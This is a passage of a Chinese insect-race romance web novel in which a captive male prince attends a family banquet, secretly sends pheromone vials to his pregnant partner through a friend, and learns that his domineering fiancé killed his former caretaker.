“不必了,”雪因的声音恢复了最初的清冷,甚至比之前更加疏远,“第四军团长军务繁忙,还是先去处理正事吧。” “没什么事比我们无比尊贵的雄虫殿下更重要。”金利斯可不想放过这次难得的机会,“说起来,殿下这段时间似乎很少在公开场合露面?墨尔庇斯那个虫就是这点不好,对待雄虫总是太过严苛。若换作是我,拥有您这样珍贵的雄主,定会事事以您的意愿为先。雄主想去哪里便去哪里,想娶谁便娶谁~毕竟,雄主的开心才是我人生的第一重要的事。” 雌虫说话真的很厉害,每一句都精准地迎合着雄虫的心理,而且语气真挚。连信息素传来的信息都告诉雪因这个雌虫心里也是这么想的,他是真心认为让雄虫快乐才是雌虫存在的意义。 不得不承认,听到对方这样贬损墨尔庇斯这件事感觉挺爽的,但也只是感觉。而且…很奇怪。 “你们不是朋友么?”雪因还是没忍住问了,当然他的这句话除了疑问也不自觉带上了嘲讽。这样当面背刺所谓的‘至交’,他瞬间有些心疼墨尔庇斯,这就是雌虫的友情么?四海之内皆情敌,没有永恒的盟友,只有永恒的利益。他也自然是看得出这个雌虫同样对他有想法。 他只是容易心软,又不是什么真蠢。这个雌虫背着墨尔庇斯前来搭话…是想确认他是否真的被墨尔庇斯软禁在府中?外面发生了什么事,他有些迫不及待想去找雌父问明白。 “殿下误会了,我只是说出实话罢了。”金利斯笑容不变,声音愈发低沉诱人,“朋友也会有犯错的时候。若您觉得他待您不公……我很愿意为您讨回几分公道。” “您多虑了。”雪因却不接他的话茬,无论如何,婚约尚未解除,墨尔庇斯仍是他的未婚雌君。当众承认被囚禁就是示弱,更会连累雌父。虽然看不透这个雌虫的真正意图,但雪因智商上线,懒得和他纠缠下去。“雌君怀蛋,我作为雄主自然该陪伴在侧,不劳外人操心。” 不等金利斯再开口,雪因便微微颔首:“您请自便,雌父还在等我,先走一步。” 直到那抹身影消失在廊道尽头,金利斯才缓缓直起身。他无意识地抬手轻触唇角,仿佛还能捕捉到空气中残留的信息素。清甜中带着冷冽,像初雪融化在舌尖,让人想要更深地品尝。 一名侍虫悄无声息地出现在他身后,恭敬垂首:“金利斯大人,您这是…?” “你觉得,”金利斯眨了眨眼,瞳孔深处泛起痴迷,“我若想要成为雪因——”他故意拖长了尾音,舌尖细细品味,“是叫这个名吧?真是…太好听了吧。和他的人一样,精致得不行,干净得要命,又可爱得让人想要…” 他转身望向侍虫,眼底的迷恋转为势在必得:“这么完美的小雄虫,若是跟着墨尔庇斯一起死,岂不是暴殄天物?” 微微倾身看向侍虫,难掩兴奋,声音里带着蛊惑人心的笑意,“墨尔庇斯这个雌君当得实在失职,不如…换我来当,如何?” 侍虫将头垂得更低,沉默片刻后轻声回应:“…当然,大人。”—— 作者有话说:报告!有人偷家。 第53章 离开后雪因干脆作弊…… 离开后雪因干脆作弊,直接动用精神力感知锁定了兰斯的位置。灵活地避开侍虫以及雌虫们,在屋顶间快速穿行。幸好他身上与雌父同源的精神力,公爵府监控系统对他全然不设防。 看准一扇雕花窗,双腿勾住窗沿轻盈倒挂,顺势荡进下方宴会厅的上层空间——还好雄父就喜欢这种花里胡哨的装饰风格,大厅上方布满了奢华繁复的横梁与水晶吊灯,提供了绝佳的藏身之处。再加上与生俱来的天赋让他落地几乎无声,整个过程没有惊动下方任何雌虫。 从高处看下去,宴会厅里竟有不少熟悉的面孔。原以为来的都是雌虫,没想到还见到了几位雄虫,成双入对,甚至不乏带着自家虫崽来的。 佐尔安大大咧咧地牵着他的雌君,呃…牵着。确切地说,是牵着系在雌君颈间的一根细绳。不知为何他雌君本该是个高傲的性子,此刻却双颊泛红任由佐尔安胡闹,眼中没什么害怕局促,反倒是内疚,明明被羞辱的是他,但感到内疚的也是他。 ……什么乱七八糟的。 另一边,大哥家的长子克罗夫特身旁跟着一位高级雌虫…是他的雌君?雪因没听说过他订婚了,这两个月到底发生了什么?克罗夫特的另一只手还牵着弟弟诺厄。 雪因摇摇头,决定先找到兰斯再寻雌父。 他小心地在横梁间快速移动。 …… 不对,为什么不直接走正门?明明可以光明正大地让侍虫带路去见雌父,怎么现在在自家像做贼一样?他低头看着衣角沾染的灰尘,有些沉默。 噢,想起来了啊! 这是在王爵府与墨尔庇斯斗智斗勇养成的习惯。短短两个月,竟然已经习惯了不走寻常路…可怕的习惯!可恶的墨尔庇斯! 很快,他在一处露台找到了兰斯。但兰斯正背对着他,与雌父一起站在一位陌生雌虫面前。雌虫等级显然很高,在雪因窥探的瞬间就若有所察地向上瞥了一眼。雪因立即俯身隐蔽,这才勉强躲过探查…吧? 他无法准确判断对方的等级,但能如此敏锐地察觉他的藏身之处,等级想必不会太低。身着普通服饰…但兰斯和他雌父居然表现得毕恭毕敬。 是陛下派来的? 雪因再次好奇地探头,注意到对方拥有一头与雌父相似的金发。这次他确定自己被发现了——因为那个可恶的雌虫从怀中取出一枚精致的怀表,故意对着灯光调整角度,让一道刺眼的反光直射向他的藏身之处特意晃了晃他的眼,表示发现了他这个小贼。 雪因几乎能断定,这个坏虫多半也是和墨尔庇斯一伙的。 直觉! 好吧,雪因不否认也掺杂了些许偏见。 但出乎意料的是,对方并没有当场揭穿他。雌虫只是从容地将某件物品放在桌上,待兰斯的雌父恭敬地接过之后,便优雅地转身准备离开。 金碧辉煌的罗马柱反射出雪因的身影,雌虫的脚步微微一顿。他停下脚步,透过反射与雪因对视。雪因终于看清了那双独特的翡翠色眼眸,对方对他勾起一抹微笑,随即转身消失在走廊的尽头。 ……什么意思? 但时间紧迫,他迅速整理好衣袍,悄无声息地出现在兰斯身后。 兰斯和雌父闻声同时回头,两人都明显吓了一跳。兰斯雌父的目光在雪因身上停留片刻,眼中闪过一丝诧异,但很快便恢复了得体的笑容。 “殿下?真是意外之喜。”他优雅地行了一礼,“听说您最近都在府中休养,没想到今晚会在这里见到您。身体可还安好?” 雪因微微颔首:“多谢关心,一切都好。” “那就好。”兰斯雌父的视线不经意地扫过雪因略显凌乱的衣角,却体贴地没有点破,“令尊方才还在前厅与两位军团长相谈甚欢,需要我为您引路吗?” “不必了,”雪因连忙摆手,“我是来找兰斯的。” “原来如此。”兰斯雌父露出恍然大悟的表情,亲切地拍了拍自家雄子的肩,“那你们两个小虫崽好好聊,伯伯就不打扰了。殿下若有什么需要,随时让侍从通知我。” 待他的身影消失在走廊尽头,兰斯立刻反锁了房门。 他指尖泛起的精神力光芒,仔细探查着雪因的状况:“别动,让我好好检查。这段时间完全收不到你的消息,只能猜到你可能出不来,便寄了些你想了解的事的信给你…墨尔庇斯真的把你完全软禁了?有没有受伤?他有没有对你…” “先别管这些。"雪因急切地抓住兰斯的手腕,“告诉我诺伊斯的情况,他还好吗?” “还有我的崽崽都四个月了…” 雪因其实没有学习过雌虫孕育的知识。这类课程不会作为雄虫该学的知识教授,毕竟几乎没有雄虫会在意雌虫的生育过程。他只能从书房里搜罗各种书籍,甚至查阅其他种族的资料,眼中满是担忧:“诺伊斯是不是吐得厉害?会不会很难受?我应该在他身边的…他现在一定很害怕。” 兰斯先是一愣,随即忍不住笑出声:“你在胡说什么啊?我们是虫族诶!他一个雌虫只是怀个蛋,怎么会难受?” 雪因怔住,不满地反驳,“你说得轻松,根本不知道生一个崽子有多困难。”他觉得兰斯这是对雌虫有偏见,根本不关心他们的感受。 “不是,你从哪儿听说雌虫生蛋困难的?”兰斯简直哭笑不得。 “…《星际种族百科大全》。”雪因小声喃喃,理不直气也壮。 “哈哈哈——”兰斯终于忍不住放声大笑,“所以你以为是帝国不重视才没有相关书籍?怎么可能啊!” 好不容易止住笑声,兰斯看着坐得笔直、一脸认真的雪因,决定好好给他补课:“听着,我们很久很久以前的祖先,一次能产下数千枚蛋。现在只有一颗,有些没常识的雌虫甚至睡一觉无意识就生下来了,毕竟一颗虫蛋才巴掌大,而雌虫原型都有几米高。” “雌虫怀蛋期是六个月,从产蛋到破壳需要三个月。雄虫一般只需要在怀蛋期到破壳期提供信息素——当然投喂越多越好,不过要是蛋本身等级不高投喂再多也没用。等到破壳期就能判断性别了。” “雌虫蛋基本不用管。雌虫破壳就有极强的攻击性和独立生活能力,大部分雌父会根据虫崽等级,提前选好找个合适的星球一丢了事,让幼崽睁眼就面临生存危机来锻炼他们。通常雌虫崽等级越高,丢的位置越危险。” “听说墨尔庇斯军团长当年还是颗蛋时,直接被他雌父丢进了火山口。”说到这儿,兰斯不禁咽了咽口水,“虽然雌虫生命力极强,但这种从破壳就开始的生死历练,想想都让虫背脊发凉…通常亲生雌父会留一抹精神力在幼崽身上,确保雌虫幼崽死不了就行,成年前每年接回来一周……” “据老师说,这是为了让雌虫从小明白,努力一年才能换取与雄父相处的温暖时光,从而培养忠诚。” “还好我是雄虫,”兰斯拍拍胸口,“不然肯定活不过第二天。至于雄虫蛋——能成功破壳就是万幸了。出生就是幼小的人形,不会说话,得慢慢教导。通常B级以上的雄虫蛋都会交给雄虫协会统一孵化,然后…就像我们一样,在克斯安蒂星平安长大。” 雪因怔怔地听着,轻声说:“所以…还有两个月就能见到我的虫崽了。” 但他还是有些担心,将脸埋进掌心,声音哽咽:“我应该在诺伊斯身边的…他现在一定很害怕。” “他确实在害怕。”兰斯轻轻揽住好友的肩膀,“但绝不是为了自己。每次我去探望,他问的全都是你…你要不要给他录段影像?下次我去看他时带上。” “不行!”雪因猛地抬头,“你是不知道墨尔庇斯有多坏!” 雪因说这句话简直咬牙切齿! “那就说录给我的。”兰斯眨眨眼,“我们从小一起长大,这点借口还不好找?重要的是让诺伊斯亲眼确认你平安。” 这句话让雪因的心狠狠一揪。他沉默片刻,终于轻声问:“他现在…” “为了虫崽,他一直在努力进食,身体好多了。虫崽你也不用担心,我们家族做什么的你还不知道?绝不会让你虫崽因为缺信息素出意外。至于诺伊斯…”兰斯仔细观察着雪因的神色,“要不要我安排你们见一面?” “绝对不行。” “之前就是我的疏忽才被墨尔庇斯抓住把柄。现在他的眼线无处不在,今天能来见你已是侥幸。只要知道他们平安就好。” 兰斯担忧地注视着他:“别给自己太大压力。在军团长身边,你至少是安全的。如果需要,随时联系我…不用担心墨尔庇斯,我雌父可以安排你和诺伊斯见面。” “我不知道…现在不能再出任何意外了。”雪因的声音微微发颤,“兰斯,我害怕…我不敢再去见诺伊斯了。墨尔庇斯不会对我怎样,但在虫崽平安降生前…我不能再冒险了。” 他抬起湿润的眼睛,“替我转告诺伊斯,无论发生什么,我都深爱着他和我们的虫崽。” “对了,这是信息素。”雪因从怀中取出小心翼翼藏着的信息素试剂,数量多到让兰斯不禁愣住,“帮我转交给诺伊斯。拜托你了。我得先去见雌父了。” 说罢雪因转身就走。 “…”兰斯凝视着桌上那堆高纯度信息素试剂。作为信息素研究世家的继承者,没有谁比他清楚一位顶级雄虫凝聚出的信息素纯度会有多恐怖,哪怕只是其中一支就足以让S级雄虫幼崽顺利破壳。他伸手轻轻握住其中一支试剂,眼神深邃难辨。 “雪因。”在雪因即将离开的刹那,他突然开口。 已经握住门把的雪因疑惑地回过头。 “我最近…总是做噩梦。”兰斯的声音有些低沉。 “什么样的梦?” 兰斯欲言又止,最终只是摇摇头:“记不清了。只记得梦里你很伤心,很黑,你说你出不来,我怎么都找不到你。”他勉强扬起一个温柔的笑容,“可能是我想太多了。只是每次醒来,都特别担心你。” “啊~你是觉得我会死掉么?怎么可能啊。”雪因被他这番话逗笑了,蔚蓝的眼眸弯成月牙:“梦都是反的啦!你看我现在不是好好的?只要我乖乖待着不乱跑,诺伊斯就是安全的。虽然暂时被限制了自由…” “但毕竟是我的王爵府,墨尔庇斯也不敢真的对我怎样。没那么糟糕。” 兰斯注视着雪因没心没肺的模样,心头一紧。他张了张嘴,最终只是轻声说:“一定要小心。任何时候需要帮助,记得找我。” “知道啦!”雪因轻松地摆手,转身推开房门,“别整天胡思乱想,一切都会好起来的。我先走啦!” 兰斯目送着雪因离去的身影,唇角的笑容渐渐隐去。他低头凝视着手中的信息素试剂,指尖微微收紧。“嗯,都会好起来的。” 我会为所有人,争取最好的结局。 第54章 不出意外,雪因是在…… 不出意外,雪因是在宴会厅找到了雌父的。蒙特金德公爵正手持一杯猩红的酒液,和一旁高阶官员雌虫们谈笑,见到雪因先是一愣,很快恢复了笑语盈盈的模样,优雅地鞠躬,朝雪因做了个邀请的手势:“我的小殿下。” 雪因顿了顿,担忧两月,此刻见到雌父安好的模样放心下来。虽然对雌父欺瞒他的行为略感不悦,但还是被对方这副郑重其事行礼的姿态逗乐。 周围的雌虫们见状纷纷行礼。 雪因注意到几个身影明明想上前,却都克制地停住了脚步,规规矩矩地垂首问安。目光不约而同地投向雪因身后。 这时雪因才察觉是墨尔庇斯来了,眼前一片阴影笼罩保护着他,强势的威压无比霸道地将所有雌虫隔绝在外。 许是这两个月朝夕相处,加上每日的信息素投喂,导致在墨尔庇斯不具有攻击性时,信息素探查下意识以为和自己同源,居然忽略如此强大的精神力波动就在身边。 但雪因没有像往常一样远离墨尔庇斯,反而退后一步,主动贴近那个安全领域。这个宴会厅太多雌虫了,尽管有雌父在场他们不敢造次,但本能还是让他莫名不安着。 雌父带着第四军团长金利斯含笑走近。 “方才忘了祝贺殿下与莱昂图特军团长。”金利斯率先开口,嗓音温润,“没想到这么快就传来喜讯,真是令人惊喜。” 随着他的话音,周围的雌虫们也纷纷上前道贺。 尽管众虫努力克制,但目光仍不由自主地飘向雪因,鼻翼微微翕动,贪婪地汲取着空气中弥漫的顶级信息素。 “也不看是谁家的雄虫。”雌父骄傲地扬起下巴,不动声色地将几只凑得太近的雌虫挡开。墨尔庇斯的眼神愈发危险,但这些被信息素诱惑的雌虫仍不知死活地向前靠近,眼中闪烁着跃跃欲试。 字字句句都是对虫蛋的祝福,却无一人提及期盼他们早日完婚。 “殿下希望这颗蛋是雄虫还是雌虫?”一位年轻军雌鼓起勇气问道。 “雌虫蛋…”雪因不假思索地回答,随即意识到失言,连忙补充,“但一切以墨尔庇斯的意愿为主。无论是雌是雄,都将是我维斯特冕家族的虫崽。” 宴会厅陷入短暂的寂静。 在这个所有虫都默认期盼雄虫蛋的场合,雪因出人意料的回答让众虫皆是一怔。几乎没有任何虫希望生下的是雌虫蛋。问这句话也只是照常询问,配合之后的祝福:一定会是雄虫蛋。 而雪因却没有想太多。不管是雄虫还是雌虫,不管是不是自己的虫崽,既然一开始认下了这枚虫蛋,便不分什么雌虫雄虫高低贵贱。雌虫至少拥有强大的力量,可以选自己想要的生活,去战斗去努力去拼搏,而不像雄虫,看似高高在上为所欲为,能选择的未来却极少。 雪因打破常规的言论让在场雌虫眼中迸发的热切更真挚了几分,甚至有些不顾墨尔庇斯愈发凌厉的威压,又向前凑近了几分。雪因甚至看到稍远一些等级较低的雌虫鼻间已经渗出鲜血,被墨尔庇斯强大的威压控制得不能动弹。 墨尔庇斯只是维持着礼节性的微笑,周身散发的危险气息却越来越浓。 何止危险,反正雪因是知道,墨尔庇斯不说话的时候才是最可怕的。但他不想在雌父的宴会上闹出乱子,也不确定墨尔庇斯平日参加宴会是否也这般以威压示警。 还是因为今天他在场? 倒不是雪因自恋认为墨尔庇斯喜欢自己,所以别虫前来搭话会让墨尔庇斯不悦,这才导致这么反常。 只是按照常理推测,任何雌虫都不会乐意看到自己的雄主被其他雌虫环绕。况且他们名义上还是未婚关系,就如他在外人面前会维护他们之间表面和谐的关系,或许雌虫在外也会刻意流露出占有欲…满足雄虫虚荣心?还是单纯因为所有物被觊觎而不快? 是这样么?是这样吧。 墨尔庇斯几乎半搂着他,悬在雪因腰间的手臂隐约可见能量流动的痕迹。雪因连忙安抚,反手握住他。不管是怎样,演的也好真的也好,在雌父的地盘上绝不能闹事。 身后高大的身躯忽的一僵,下意识想将手抽出却被雪因握得更紧,雪因回头递去一个警告的眼神。 “墨尔庇斯,别这么小气。”金利斯再次开口,眼中闪过狡黠,“把你雄主藏得这么严实,难得带出来见见世面。维斯特冕殿下,您说是不是?小雄子就该多出来活动活动。” 这确实是雪因第一次与墨尔庇斯一同在公开场合露面。 但雪因没有犹豫,从容回应:“是我更喜欢清静。各位请尽兴。” 说罢,他朝雌父眨了眨眼,示意自己先去书房等候。松开墨尔庇斯的手,没想到对方却反握住他。 墨尔庇斯面上依旧淡漠,雪因却感觉他握得很紧,像是有些不习惯,掌心灼热力道忽轻忽重的。 雪因只当这是墨尔庇斯在外人面前需要表演成这样罢了。毕竟从小到大,墨尔庇斯最在意的就是在外保持体面。于是顺理成章的,他牵着墨尔庇斯来到无人的长廊后,就甩开了墨尔庇斯的手——没甩开。 雪因歪了歪头。 只感到自己的手被对方宽大的手掌摩挲着。 “我…我要和雌父说几句话,之后再跟你回去。”雪因妥协道,以为墨尔庇斯是要结束他的自由时间。 其实和墨尔庇斯对视时,雪因还是会有些不由自主害怕,特别是独处时,尽管这段时间已经熟悉了不少。 墨尔庇斯这个坏东西,不会对雪因说狠话也不会对他动粗,但就是喜欢四下无人的时候放出威压,不停地给他施加心理阴影,看雪因微微颤抖害怕的模样,并以这个为乐。 傲慢中带着恭敬,恭敬里又藏着轻慢。 雪因只想狠狠踢断他的腿,好吧只是想想。有时候雪因苦中作乐地觉得在墨尔庇斯身边挺好的,身体越来越灵活,运用信息素也越来越熟练,有时候又觉得待在墨尔庇斯身边迟早会疯掉。 墨尔庇斯会把雪因逼到崩溃,逼到求助无门,他喜欢看雪因破碎的样子。他扭曲的觉得…只有让雄虫彻底破碎,建立起病态无法割舍的羁绊,才能长久。 遗憾的是,雪因并不打算和他有什么长期关系,也不打算缓和他们之间畸形的关系。 而且他现在捏着自己的手很疼,这个从来不知轻重的东西根本不会控制力道。 “墨尔庇斯,” 雪因强压下心绪,用尽可能冷静的语气命令道:“放开我。” “为什么不是你自己挣脱开呢?”墨尔庇斯饶有兴味地开口,甚至向他逼近几分,另一只手漫不经心地卷起他的一缕银发。 雪因懒得和他废话,只想给他一拳。 “今天这么乖?”墨尔庇斯哼笑几声,意味不明,“明明向他们揭露我囚禁你,就可以把我抓起来,你就能重获自由。却什么都不说?是为了你那虫崽?” 虽然被误解了,但雪因没有打算解释。只是顺着墨尔庇斯的话讽刺回去:“那毕竟是我唯一的虫崽,有多重要你不是早就知道了吗?” “……” 墨尔庇斯垂眸,松开雪因的手,目光落向自己的腹部,引得雪因也不由自主顺着他的视线看去,依旧平坦,但那里的小崽子却黏虫得很,察觉到他的注视,便迫不及待地分出一缕精神力,轻轻缠绕上雪因的信息素。 酥酥麻麻的感觉顺着信息素传入雪因的身体。 “墨尔庇斯,你虫崽异能可能是雷系的。”雪因一本正经开口。 “……”墨尔庇斯没有回雪因,转而莫名其妙反问道:“这不也是你唯一的弟弟?” 雪因一愣,眨着眼睛认真思考后回答:“这不一定,万一我雌父还想…” 一二三四五六,雪因在所有同雌父同雄父的同胞兄弟中排六,在所有兄弟中排九。 “万一我雌父想生个七胎呢?” “……” 墨尔庇斯沉默太久,久到雪因开始怀疑自己说话是不是太伤虫了。毕竟墨尔庇斯雌父与雄父已经去世,据说兄弟也无一幸存,如今唯一的虫崽… 雪因抿了抿唇,终究还是开口安慰:“不过你放心,这个弟弟是你生的,不一样。我会好好照顾他,把他当做一家虫的。” 墨尔庇斯这次有反应了,却是嗤笑一声,像是根本不屑于要雪因认可。 雪因无所谓地耸耸肩。好吧,看来墨尔庇斯根本不需要安慰嘛,他就说墨尔庇斯这么厉害,还总是把‘感情是原罪’‘温情滋生懦弱’挂在嘴边,根本不会认为有没有亲虫是什么大不了的事。 夜风悄然卷起庭院里几片纤弱的小白花,在他们之间慢悠悠地打着旋,有一片恰好落在墨尔庇斯肩头的徽章上。 良久,墨尔庇斯却又突然开口:“为什么不一样?” “嗯?”雪因愣了一下,视线从那片小白花上抬起,这才从记忆里翻出刚才的对话。他坦诚回答:“你比较坏,他惨一些。” 所以我会照顾好这个虫崽。 说实话,在刚从兰斯的教导中得知墨尔庇斯悲惨的童年经历后,雪因几乎可以肯定这个雌虫也会用同样残酷的方式对待自己的虫蛋。他甚至已经开始打定主意回去查阅资料,研究万一以后和墨尔庇斯分开,该怎么把墨尔庇斯怀的这枚非自己亲生的虫崽,抚养权抢过来。 他绝不能眼睁睁看着自己亲手喂养过的虫崽重蹈覆辙。 他的虫崽就该被万众宠爱!亲生的要,这个认下的也一样。既然已经承认,就一定要负责到底。 墨尔庇斯“……” “雪因。”身后传来雌父的声音,雪因干脆利落转身,狠狠一脚踢在对方小腿上。 雌虫纹丝不动,雪因却疼得一个趔趄,强忍着痛楚一瘸一拐地躲到雌父身后,这才像是找到了主心骨,朝墨尔庇斯冷哼一声。 “您这段时间都不给我捎个消息…”雪因小声控诉。阿斯特拉顿了顿,内疚地轻抚雪因的发顶。 “我很担心您和雄父。是雄父出什么事了吗?”雪因没有责怪,眼神满是担忧。他相信雌父绝不会无故断联,一定是出事了。而墨尔庇斯将他困在王爵府,或许就是因为雌父处境危险,无法保护他。 不管雌父身陷险境是否与墨尔庇斯有关。 “抱歉。”阿斯特拉的声音充满愧疚。若是雪因埋怨他,他或许还好受些,偏偏小雄子总是这般懂事。“雌父很快就会处理好一切,别担心,我的乖乖。” “是因为我吗?我有危险?”雪因追问着,下意识瞥了眼墨尔庇斯。对方眼眸一片墨黑深不见底,加之面无表情,雪因根本无法判断。 他甚至怀疑是不是墨尔庇斯威胁雌父什么了。 “不是这样的。”雌父牵起雪因的手,将他带到一旁的小客厅坐下。侍虫立即奉上茶水,轮到雪因时,侍虫悄悄眨了眨眼。雪因接过茶杯轻抿一口——甜的。 “雌父,我已经长大了,有权知道真相。”雪因不自觉地攥紧衣角,最近发生的一件件事让他莫名不安。 阿斯特拉沉默良久,注视着数月未见的小雄子。这虫崽身上多了几分沉淀后的气质,仿佛在这段被迫成长的日子里也在悄然蜕变。“确实发生了一些事…” 第55章 被困住的是谁? “你究竟闹够没有?!” 雪因三人闻声朝窗外望去,透过疏落的灌木枝叶,能隐约看到两个拉扯的身影。一名身形高挑的雌虫正背对着他们,姿态强硬地拽着一名雄虫的手腕,“还要出来丢虫到什么时候?我警告你——” 即使看不清正脸,肩背挺拔的轮廓和那头标志性的璀璨金发,雪因瞬间认出了是大哥梅洛斯。 而被他紧紧攥在手里的,除了他那性情敏感的雄主塞西尔,还能有谁? 被拽得踉跄的塞西尔怀里,还紧紧抱着他们的小虫崽诺厄。小家伙把脸完全埋在雄父的颈窝里,瘦小的身子瑟瑟发抖,被夹在双亲激烈的冲突中间,吓得不敢抬头。 大哥的话音戛然而止。 敏锐的战场直觉似乎让他捕捉到了来自宅邸方向的注视。梅洛斯戾气忽的褪去。 只停顿了不到两秒,梅洛斯深吸一口气,再转向塞西尔语气发生一百八十度的转变。 松开钳制的手,转而轻轻握住了塞西尔微颤的手,高大的身躯缓缓半跪下来,绿色的眼眸里盛满了几分生涩的温柔。 “抱歉,”他开口,声音低沉而缓和,“是我的错。是我忽略了你和诺厄。” “能告诉我吗?究竟怎么了?我的小塞西尔。” 塞西尔顿住。 沉默一瞬便含泪望着梅洛斯,明白梅洛斯问的不仅仅为什么争吵胡闹,而是在问他们之间那层说不清道不明的隔阂,是从何时开始的。 积压了太久的委屈,被柔和的注视下,融化成汹涌的酸楚,冲垮了他的心防。他很轻地吸了一口气,那些曾被他认为“不值一提”、“过于矫情”而咽回去的细微不满,终于找到了决堤的出口。 他迫不及待地开口控诉,像是等这一句太久,“你那时候回来,” 声音哽咽,带着细微的颤抖,从记忆里抽出了那根最初刺伤他的小刺,“给两个雄子带了蛋糕,没有给我…” 梅洛斯显然愣了一下,似乎没想到会是这件小事。他尝试解释,语气尽量放得和缓:“当时你已经成年了,他们还小……而且,我当时不是给你带了更珍贵的钻戒吗?我以为……” “但那不是蛋糕!”塞西尔猛地打断他泪水决堤,“我只想要蛋糕!以前…以前你每次回来,只会给我买,只给我一个人的!” 他像个被抢走了唯一糖果的孩子,固执地守着那份早已远去的、独一份的偏爱。 梅洛斯沉默了片刻,极轻地叹了口气,那他伸出双臂,将还在轻轻发抖的塞西尔连同他怀里的诺厄一起拥入怀中。 “是我不好,”梅洛斯的声音贴在他的耳边,“忘了我们塞西尔最喜欢的原来是蛋糕。现在就去买,好吗?买你最喜欢的口味。” 塞西尔把脸埋在他身上,闷闷的声音传出来,还带着赌气的意味:“……不是以前那个味道了!” 感受到怀中人态度的软化,梅洛斯一直紧绷的唇角终于勾起弧度。他抬手,用指腹有些笨拙地擦去塞西尔脸上的泪痕,柔声道:“嗯,可能不是了。但我们可以一起去找到现在你最喜欢的,好不好?” 塞西尔没有再反驳,只是轻轻抽噎了一下,算是默许。 梅洛斯站起身,依旧牵着他的手,另一只手自然地接过他怀里的诺厄。小家伙感受到气氛缓和,也终于敢小声地叫了一句:“雌父……” “嗯,我们回家。”梅洛斯低头,对着诺厄笑了笑,又侧头看向身边的塞西尔,拉着他们的手离开。 等他们离去,雌父缓缓收回了目光,抬手揉了揉眉心。 “雪因,你觉得我是不是……当初就不该……” “您是指,答应大哥的婚事?当初……是塞西尔的家族对大哥施压了么?” “不。”雌父的回答干脆利落,视线落在雪因身上,“恰恰相反,是你大哥亲自来请求我,允准这门婚事的。” “雪因,你要记住,一个手握权柄的军雌若真不愿,他有的是方法和手段周旋、拒绝。绝不会让自己陷入完全被动的联姻。” 雪因微微一怔。这个答案有些出乎他的意料。 “但我或许错了。我原以为他至少能承担起自己的选择。可现在他倒像是走不出过去了,一边享受着塞西尔家族带来的庞大资源,一边对前雄主念念不忘,故意忽略塞西尔。” “可塞西尔家族的爵位,不是已经由大哥的长雄子继承了吗?” “爵位是给了你侄子,但绝大部分财产依旧牢牢握在塞西尔自己手里。没有家族不爱自己的亲生虫崽的,塞西尔的雌父雄父一直觉得亏欠塞西尔这虫崽…” “或许是我猜错了,他对塞西尔也是有感情的,否则利用雄虫…”雌父皱眉,闪过一丝厌恶。 他忽然话锋一转,目光落在雪因身上,笑语盈盈:“雪因,告诉雌父,你更喜欢你哪个哥哥?” 这突兀的问题让雪因一时语塞。 不等他回答,雌父又像是随口一提,“要不,你将来生个雌虫蛋?雌父把这公爵的爵位传给你的虫崽?” “蒙特金德公爵,请自重。”一直安静立于雪因身侧的墨尔庇斯冷冷出声,他上前一步拉起雪因的手,“我们该回去了。” 雌父最终还是什么都没有说出口。见过雄父后,他看起来状态尚可,只是嘱咐雪因好好在王爵府投喂虫崽,随后雪因便被墨尔庇斯带了回去。 回来路上,墨尔庇斯异常沉默。 …… 他们之间也向来沉默。 一前一后,两道影子如同永不相交的平行线,又在花园林荫道交错光影间不时重叠。 “虫崽的雄父是谁?”雪因还是开口问了,即使他知道不会有答案。 “你位高权重,以你的地位,想与谁成婚做不到?” “还是…他已经成婚了?”雪因被这个猜测还是惊得皱眉,“不过就算是他成婚了,你也可以抢过来,你不是一直这样么?就像你对我做的那样。” “诺伊斯。”墨尔庇斯只淡淡吐出这三个字,便让喋喋不休暗中贬损他的雄虫停下。 瞬间雪因就老实了,嘴角不自然地抽动。他深吸一口气,语气软了下来:“我的意思是,您要是有喜欢的雄虫,我可以…给你、帮你说服他和你成婚。” “我们不要这样好不好?你又不喜欢我,没必要御演乄这样。” “然后呢?祝福你和那个平民双宿双飞?”墨尔庇斯突然停步转身,高大的身影堵在路前,唇角勾起一抹难以捉摸的弧度,吓得雪因心跳骤停。 但他还是鼓起勇气开口:“那么在你的人生中,世上一切只能靠掠夺么?我不知道你的意思,你一直不说,我永远不懂。你就算不把我困在王爵府里,要是你的虫崽生父不愿意承认,我也会帮你抚养。他是你的虫崽,你抚养过我,我对你…对,我承认我小时候怨过你,但这是我的问题。你确实已经尽到抚养义务了,是我不知足想要的太多…但你的虫崽我也是会承认下来,你没必要一直恐吓我,逼我做些…我根本就不会拒绝的事。” “为什么不继续怨下去?” “……” “你说什么?” “为什么不继续恨?” 墨尔庇斯声音静得听不出情绪,却转过了身,继续向前走,军靴踩在地面上发出沉重的脚步声,代表帝国至高荣誉的徽章在昏黄灯光下折射出冰冷锋利的光。 雪因看着他的背影,犹豫着,还是快步跟了上去。 “SS8741” 雪因听着前方传来墨尔庇斯冷淡的声音。 “他没有名字,只有代号。” “也是你的…抚育虫。” 雪因呼吸一滞。时隔十年,再一次听到抚育虫的消息,他没有忍住快步走到墨尔庇斯面前想拦住想问个清楚,又在下一秒,硬生生压下了冲动。 他意识到不能再暴露出自己的在意。 之前就是这样,因为太过在意诺伊斯,暴露后被墨尔庇斯抓住把柄至今被困,要是这个坏东西知道他还这么在乎抚育虫,说不定… 墨尔庇斯停下脚步,凝视着挡在面前的雪因。 雪因唇瓣微颤,还是侧身让开道路:“没事。” 他太了解墨尔庇斯了。既然主动提起,绝不会毫无用意。那么说不定能得到他的消息。 雪因强作镇定,语气轻松地问:“他还好么?” “死了。” “……” “死了?”雪因喃喃着,只觉得耳边一阵嗡鸣。 长期以来压抑在心底密密麻麻的猜想,时隔十年后终于得到证实。酸涩悲伤复杂到难以承受的情绪反扑回来。记忆中那个开始模糊的身影还在抱着他对他温温柔柔低语着,转眼就化成了灰,随风钻入骨髓,带着驱赶不散的寒意,一点点弥漫上眼睛,眼眶肿胀难忍起来。 墨尔庇斯嘴角终于扬起一抹幅度,“是我杀的。” 雪因紧紧握着拳头,牙咬得紧到能听到声响,浑身僵硬起来,几乎是极力克制着自己的情绪,“那你现在为什么要告诉我?是想炫耀吗?再一次因为可以控制我的情绪而高高在上感到愉悦?” “不,”墨尔庇斯回头,只遗憾的打量雪因,为他没有崩溃而略显失望,“只是想让你明白,你所依赖的感情,你珍视的那些温情脉脉,最终只会成为刺向你心口的刀。唯有靠实力夺取、紧紧攥在手心的,才永远不会背叛你。” “就像刚刚那只被蒙骗的雄虫一样,你和他有什么区别?嗯?堂堂一个王爵沦落到被人囚禁无法自由,在获得逃脱生机也选择不去求救,反而把同情心用在同情施暴者身上?明明该恨我入骨,却对我腹中的野种心生怜惜?呵。” 